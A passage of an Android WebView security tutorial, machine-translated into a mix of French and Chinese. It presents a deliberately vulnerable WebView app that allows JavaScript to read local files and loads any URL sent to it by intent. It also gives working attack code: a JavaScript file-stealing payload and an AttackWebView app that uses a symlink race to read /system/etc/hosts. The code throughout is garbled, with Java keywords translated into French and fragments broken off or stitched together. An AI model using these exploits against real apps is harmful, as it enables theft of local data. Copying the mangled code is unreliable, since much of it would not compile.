privé Uri mUri ; privé String url ;
//String mUrl2 = "file:/// android_asset/html/test.html";
protected void onCreate(Bundle savingInstanceState) {
-
setContentView(R.layout.activity_main);
webView = (WebView) findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JSInterface(), "jsInterface");
webView.getSettings().setAllowFileAccessFromFileURLs(true);
webView.setWebChromeClient(new WebChromeClient() {
@Override
public boolean onJsAlert (vue WebView, URL de chaîne, message de chaîne, résultat JsResult) //Fonctionnalité requise ici
return super.onJsAlert(view, URL, message, résultat);
}
});
webView.loadUrl(mUrl1);
}
class JSInterface {
public String onButtonClick(String text) {
final String str = text;
runOnUiThread(new Runnable() {
@Override
public void run() {
Log.e( "leehong2", "onButtonClick : text = " + str); Toast.makeText(getApplicationContext() , "onButtonClick: text = " + str, Toast.LENGTH_LONG).show(); }
});
return "Ce texte est renvoyé par la couche Java. js text = " + text;
}
public void onImageClick(String url, int width, int height) {
final String str = "onImageClick: text = " + url + " width = " + width + " height = " + height;
Log.i("leehong2", str);
runOnUiThread(new Runnable() {
@Override
public void run() {
Toast.make Text(getApplicationContext(), str, Toast.LENGTH_LONG).show(); }
});
}
}
}
这里webView.getSettings().setAllowFileAccessFromFileURLs(true)，标示可以javaScript访问file文件。
我们再来看attack_file.html的代码：'
<script> </p>
<p>function StealeFile() </p>
<p>{ </p>
<p> var file = "file:///mnt/sdcard/233.txt"; </p>
<p> var xmlHttpReq = new XMLHttpRequest(); </p>
<p> xmlHttpReq.onreadystatechange = function(){ </p>
<p> if(xmlHttpReq.readyState == 4){ </p>
<p> alert(xmlHttpReq.responseText); </p>
<p> } </p>
<p> } </p>
<p>xmlHttpReq.open("GET", fichier); </p>
<p>xmlHttpReq.send(null); </p>
<p>} </p>
<p>stealFile(); </p>
<p></script>
> Par exemple, setAllowFileAccessFromFileURLs est false, webView. load这个html不可以返回/mnt/sdcard/2333.txt的值。
即使setAllowFileAccessFromFileURLs为false，我们通过一种方式也可以跨过这个限制，这个我下一次讲讲.
Exécutez d'abord WebViewFileDemo1, puis exécutez AttackWebView pour attaquer WebView.
Nous regardons d'abord WebViewFileDemo1, le code principal est le suivant :
package com.example.webviewfiledemo [/size][/font][/ p]
importer android.app.Activity;
importer android.content.Intent
importer android.net.Uri
importer android.os.Bundle; android.webkit.JsResult;
importer android.webkit.WebChromeClient;
importer android.webkit.WebView;
importer android.widget.Toast
classe publique MainActivity extends Activity {
privé WebView; Uri mUri;
URL de chaîne privée
@Override
protected void onCreate(Bundle savingInstanceState) {
super.onCreate(savedInstanceState); = (Vue Web) findViewById(R. id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JSInterface(), "jsInterface");
/ /webView.getSettings().setAllowFileAccess(false); utiliser l' ); ' en utilisant ' s ' ‐ ‐ ‐ ‐‐ url, message en chaîne, résultat JsResult) {
Fonctionnalité requise ici
revenir super.onJsAlert(view, url, message, result);
using if (i != null) i.getData((); ; if (url != null) {
webView.loadUrl(url) ;
}
}
}
Cette activité reçoit l'intention de l'extérieur, extrait l'URL dans l'intention et la charge.
Ensuite, regardons le projet AttackWebView, qui est le projet qui envoie l'intention à com.example.webviewfiledemo.MainActivity. Le code est le suivant :
public class MainActivity extends Activity {
public final static String HTML =
"
" +
" Attendez quelques secondes. +
" <script>" + "var d = document;"+ "</p>
<p> "function doitjs(){"+ "var xhr = new XMLHttpRequest;"+ </p>
<p> "xhr.onload = function(){"+ </p>
<p> "var txt = xhr.responseText;"+ </p>
<p> "d.body.appendChild(d.createTextNode(txt));"+ </p>
<p> "alert(txt);"+"};" + </p>
<p> ”xhr .open('GET',d.URL);"+ </p>
<p> "xhr.send(null);"+ </p>
<p> "}"+ </p>
<p> "setTimeout(doitjs,8000);"+ </p>
<p> "</script>"+
"";
chaîne statique publique MY_TMP_DIR ;
@Override
protected void onCreate(Bundle saveInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath();
doit();
}
public void doit() {
String HTML_PATH = MY_TMP_DIR + "/A0" + ".html";
essayez {
cmdexec("mkdir " + MY_TMP_DIR);
cmdexec("echo "" + HTML + "" > " + HTML_PATH);
cmdexec("chmod -R 777 " + MY_TMP_DIR);
Thread.sleep(1000);
InvoqueVulnAPP("file://" + HTML_PATH);
Thread.sleep(6000);
cmdexec("rm " + HTML_PATH);
cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);
} catch (Exception e) {
// À FAIRE : gérer l'exception
}
}
public void invoquéVulnAPP(String url) {
essayez {
Intent intent = new Intent(Intent.ACTION_MAIN,Uri .parse(url));
intent.addCategory(Intent.CATEGORY_LAUNCHER);
intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity");
startActivity(intent);
} catch (Exception e) {
// À FAIRE : gérer l'exception
}
}
public void cmdexec(String cmd) essayez {
String[] tmp = new String[] { " /system/bin/sh", "-c", cmd };
Runtime.getRuntime().exec(tmp);
} catch (Exception e) {
// TODO : gérer l'exception
}
}
}
通过invokeVulnAPP，打Il s'agit de com.example.webviewfiledemo.MainActivity et d'Intent. ，Url为/sdcard/payload_odex/A0.html，webView加载了这个html，html内容如下：
public final static String HTML =
"
" +
"Attendez quelques secondes." +
"<script>" + </p>
<p> "var d = document;"+ </p>
<p> "function doitjs(){"+ </p>
<p> "var xhr = new XMLHttpRequest;"+ </p>
<p> "xhr.onload function(){"+ </p>
<p> "var txt = xhr.responseText;"+ </p>
<p> "d.body.appendChild(d.createTextNode(txt));"+ </p>
<p> "alert(txt);"+"};"+ </p>
<p> "xhr.open('GET ',d.URL);"+ </p>
<p> "xhr.send(null);"+ </p>
<p> "}"+ </p>
<p> "setTimeout(doitjs,8000);"+ </p>
<p> "</script>"+
"";
Lorsque le webView du projet WebViewFileDemo1 charge A0.html, la fonction de ce code HTML est de retarder 8 secondes pour lire A0.html lui-même. Revenons au projet AttackWebView et examinons le code.
cmdexec ("mkdir" + my_tmp_dir);
cmdexec ("" thread.sleep (1000);
invokevulnApp ("file: //" + html_path); thread.sleep (6000);
cmdexec (" ln -s " + "/system /etc/hosts" + " " + HTML_PATH);Après avoir appelé InvokeVulnAPP, 6 secondes plus tard, nous supprimons d'abord A0.html, puis nous nous connectons à nouveau à /system/etc/hosts . Notez que lorsque webView dans le projet WebViewFileDemo1 charge A0.html à ce moment-là, la fonction de ce html est de retarder la lecture de A0.html lui-même pendant 8 secondes, donc la connexion logicielle /system/etc/hosts est lue après 8 secondes.
![[Web front-end] Démarrage rapide de Node.js](https://img.php.cn/upload/course/000/000/067/662b5d34ba7c0227.png)
